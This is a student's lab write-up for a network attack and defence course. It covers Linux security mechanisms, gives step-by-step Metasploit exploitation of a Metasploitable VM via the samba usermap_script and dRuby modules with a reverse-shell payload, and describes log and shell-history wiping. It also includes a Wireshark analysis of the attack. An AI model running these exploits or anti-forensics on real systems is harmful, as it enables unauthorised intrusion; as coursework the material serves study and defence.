20199307 2019-2020-2 《网络攻防实践》第八周作业
问题 | 源 |
---|---|
作业所属课程 | 网络攻防实践 |
作业要求 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10635 |
课程目标 | 了解网络攻防的概要 |
这个作业在哪个具体方面帮助我实现目标 | 通过对课本的学习和实践对linux攻防知识更为了解 |
作业正文.... | 见后文 |
Linux操作系统攻防
一、实践内容
Linux操作系统基本框架概述
-
Linux系统结构:linux是一种典型的宏内核结构。在硬件抽象层中的各类设备驱动程序可以完全访问硬件设备,方便地以模块化形式设置。在硬件抽象层上是内核服务功能模块,包括进程管理,内存管理,文件系统,设备控制与网络这五个子系统。而这些内核模块通过系统调用接口向用户态的GNU运行库及工具、命令行Shell、X窗口以及应用软件提供服务。
-
Linux进程与线程管理机制:
- 进程指应用程序、服务器、其他程序。
- Linux采用抢占式多用户进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用。
- 内核schedule进程调度函数通过进程优先级和CPU等资源情况来决定进程执行的优先级。
-
Linux的内存管理机制
- Linux的内存管理模块是Linux内核中最重要的子系统,主要提供对内存资源的访问控制。
- Linux支持虚拟内存:每个进程使用两套段描述符来分别访问内核态和用户态的内存空间,在用户态中,代码不可以访问3GB以上的地址空间,如果要访问内核空间,必须通过系统调用或者中断。
-
Linux的文件系统管理机制
- 虚拟文件管理VFS机制,使得其能够支持数十种不同类型的逻辑文件系统,VFS为用户进程提供了一组通用的文件系统调用函数,可以对不同文件系统中的文件进行统一操作。
-
Linux的设备控制机制
- Linux内核中处理或者管理硬件控制器的软件,基本特点是抽象了设备的处理,所有硬件设备都像常规文件一样看待。
- Linux支持三类硬件设备:字符设备、块设备、网络设备。
-
Linux的网络机制
- 网络接口可分为网络协议栈和网络驱动程序。
- 网络模块提供了对各种网络标准的存取和各种网络硬件的支持。
- 网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序。
-
Linux的系统调用机制
- Linux系统的系统调用是通过软中断来实现的。
- Linux提供系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。
Linux操作系统安全机制
-
Linux身份认证
- 用户是Linux用于身份认证的主体,分为以下三类:
- Root根用户:超级用户,可以操作系统中任何文件与命令。
- 普通用户:由使用者创建的登录系统并执行基本计算任务的用户,只能操作自己目录中的内容。
- 系统用户:不具有登录系统的能力,但是是系统运行不可缺少的用户。
- 用户信息保存在
/etc/passwd
文件中,加密口令存放在/etc/shadow/
中,用户组信息保存在/etc/group
中。 - 登录认证机制:
1.Linux通过初始化进程(init)执行启动getty生成若干个虚拟控制台;
2.每个控制台执行login进程执行认证过程;
3.用户正确输入验证信息之后认证通过之后,login进程会fork相应的Shell子进程。 - Linux的远程登录认证机制(基于SSH服务):
- 第一种是基于口令的身份认证机制;
- 第二种是基于非对称密码的身份认证机制,相比第一种,它能够有效地抵御会话劫持中间人攻击,更加安全。
- 用户是Linux用于身份认证的主体,分为以下三类:
-
Linux授权与访问控制机制
- Linux通过VFS虚拟文件系统来实现对不同类别文件系统格式的支持。
- 文件所有者:文件的
uid
和gid
属性来指明文件的所有者,在用户创建文件的时候自动进行写入,可以通过指令chown
来进行所有者的修改。 - 文件访问权限:文件访问权限通过10个标志位来进行设置。
- 第一位表示文件类型,如“-”表示普通文件、“d"表示目录等
- 二至九位每三位分成一组,这三组分别代表所有者、所有组和所有用户,组内的三位代表所有者对该文件的读(r)、写(w)、执行(x)权限。
- 特殊执行权限:设置了SUID或SGID的文件。
- SUID允许执行文件在运行时刻从运行者的身份提升至文件所有者权限。
- SGID与SUID区别是在是以其所有者组的身份运行。
-
Linux安全审计机制
- Linux的日志文件存储在
/var/log
目录。 - linux的安全审计机制通过以下三个日志子系统来实现:
- 连接时间日志:由多个程序执行,使系统管理员能够跟组谁在何时登录到系统。
- 进程统计日志:当一个进程终止时,为每个进程往进程统计文件中写一个记录。
- 错误日志纪录:报告值得注意的事件。
- Linux的日志文件存储在
Linux系统远程攻防技术
-
远程口令字猜测攻击
- 口令字猜测攻击通常针对使用弱口令的的账户破解,针对这一攻击最好的办法就是使用较难的口令。
- 针对
ssh
、telnet
、ftp
、https/http
等服务的口令猜测攻击是互联网所面临的攻陷系统最普遍的攻击模式。 - 常用工具如下:
Brutus
、THC Hydra
、Cain and Abel
等工具
-
防御远程口令猜测技术
- -禁用所有不需要的网络服务。
- 确保每个用户都有自己的有效账户和口令字。
- 特权账户只能在本地登录。
- 口令长度至少达到8位,包含字母、数字和标点符号。
- 对多次认证失败进行纪录,并在多次无效登录之后断掉连接
- 不要再自己登录的所有系统上都使用相同的口令字
- 使用基于公开密钥证书的身份认证机制。
-
网络服务远程渗透攻击
- 针对Linux内核中的网络协议栈攻击
- 针对LAMP WEB网站中的网络服务攻击
- 针对FTP、Samba等文件共享服务
- 针对电子邮件收发服务
-
攻击Linux客户端程序和用户
-攻击Linux平台上的客户端程序- 攻击Linux系统用户
-
攻击Linux路由器和监听器
- 针对使用Linux作为路由器系统的路由器的攻击
- 针对Linux下运行的监听器的攻击,如wireshark、dumpcap等等。
- 针对路由器与监听器攻击的安全防范措施
Linux系统本地安全攻防技术
-
Linux本地特权提升
- 本地特权提升的三种常用方式:破解Root用户的口令、发掘su和sudo程序中的安全漏洞以及攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。
- Linux口令字破解:通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文。
- sudo缺陷进行特权提升:通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限
- 利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号连接攻击、竞争条件攻击、共享函数库攻击等
- 本地特权提升的三种常用方式:破解Root用户的口令、发掘su和sudo程序中的安全漏洞以及攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。
-
Linux系统上的消踪灭迹
- Linux系统的主要审计日志集中的
/var/log
目录下。 - 攻击者在攻陷Linux系统后,通常不希望给系统管理员留下自己的入侵记录,因而往往会去清理系统上的日志目录,从而有效地抹除掉自己的行动踪迹。
- 通过对
.bahs_history
文件的清理,清理shell的命令痕迹
- Linux系统的主要审计日志集中的
-
防范消踪灭迹
- 将日志信息写道难以修改的媒体介质上
- 将日志信息使用syslog网络机制写道防护严密的安全日志服务器上去。
-
Linux系统远程控制后门程序
- 通过替换对系统原有的远程登录程序进行替换实现后门.
- Linux上图形化后门程序,最为常用的是图形化远程控制软件
VNC
。 - Linux系统上植入远程控制后门程序的类型主要有:
- 特洛伊木马化系统程序
- 命令行后门工具以及图形化后门工具
二、实践过程
本次实践所用到的虚拟机以及它们的IP地址:
虚拟机 | IP地址 |
---|---|
kali | 192.168.200.2 |
Metasploitable | 192.168.200.125 |
实践一:使用Metasploitable进行Linux远程渗透攻击
问题: 使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
回答:
1. 在kali中输入msfconsole进入Metasploit,并使用指令search usermap
来搜索漏洞,搜索结果如下图,可以看出这是针对这个漏洞的渗透攻击模块。
2. 使用指令use exploit/multi/samba/usermap_script
来进行对应脚本的攻击,截图如下。
3. 使用指令show payloads
来获取攻击负载模块,并选择攻击负载模块,截图如下:
4. 这里看到18号cmd/unix/reverse
,后面的描述显示是基于telnet协议的负载模块,使用指令set PAYLOAD cmd/unix/reverse
来设置有效的攻击载荷。
5. 使用指令set rhost 192.168.200.125
设置靶机地址,使用指令set lhost 192.168.200.2
设置攻击机地址,截图如下:
6. 使用指令show options
查看payload状态,看信息设置是否正确,截图如下:
7. 使用指令exploit
来执行攻击,攻击成功后使用指令whoami
发现执行权限是root
,使用指令ifconfig
来查看靶机网络状态。
实践二:任务二:攻防对抗实验
问题: 攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机试试网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流。
攻击方: 使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
防御方: 使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息。
回答:
攻击方1: 在攻击机kali使指令nmap -sV 192.168.200.125
扫描靶机,查看开放的端口,及端口上程序的版本。
攻击方2: 使用工具nessus
扫描漏洞,由于我的kali不能使用nessus(需要购买),所以使用windows的攻击机来扫描。
攻击方3: 这里我们选择dRuby
漏洞(参考了孙启龙同学的博客),并在kali的msf
命令框中进行搜索。
攻击方4: 使用指令use exploit/linux/misc/drb_remote_codeexec
来进行对应脚本的攻击,并通过指令set PAYLOAD cmd/unix/reverse
设置攻击负载,截图如下。
攻击方5: 使用指令set rhost 192.168.200.125
设置靶机地址,使用指令set lhost 192.168.200.2
设置攻击机地址,截图如下:
攻击方6: 使用指令exploit
来执行攻击,攻击成功后使用指令whoami
发现执行权限是root
,使用指令ifconfig
来查看靶机网络状态。
攻击方7: 使用指令shell
来打开shell框,输入指令id
来查看shell权限账户及其所在的权限组。
防守方1: 从第一条记录中,可以看到信息栏里面说到who has 192.168.200.125? tell 192.168.200.2
,得知攻击方地址是192.168.200.2。
防守方2: 以筛选条件ip.src==192.168.200.2 or ip.src==192.168.200.125
来筛选,在数据包中攻击方攻击使用的端口都在8787
防守方3: 要想知道攻击发起时间,查看第一个数据包,在信息栏中可以看到,攻击发起时间是2020 05:16:10
。
防守方4: 要想知道攻击利用的漏洞,我们利用端口号8787来查看nmap结果,得知这个端口是druby
服务的端口,进而得知这是针对drb漏洞的攻击。
防守方5: 在第一个shellcode中,可以看到其中第一次攻击失败。
防守方6: 在第二个shellcode中,可以看到攻击成功建立连接。
防守方7: 在后面的数据包中,可以看到我实践过程中输入的命令id
。
三、学习中遇到的问题及解决
-
问题1: 在进行实践二的时候,由于第一次攻击没有进行抓包,进行第二次攻击时候发现攻击失败,如下图所示:
-
问题1解决方案: 我猜测可能是靶机出了问题,所以reboot重启了靶机,再次攻击就ok了。
四、实践总结
相比于上周的作业,发现linux和windows系统在攻防的很多方面都是类似的,linux更为简洁一些。通过一个个小的实践让我对攻防知识了解的更加稳固,对于一些新的知识就是要通过实践的手段去慢慢熟悉。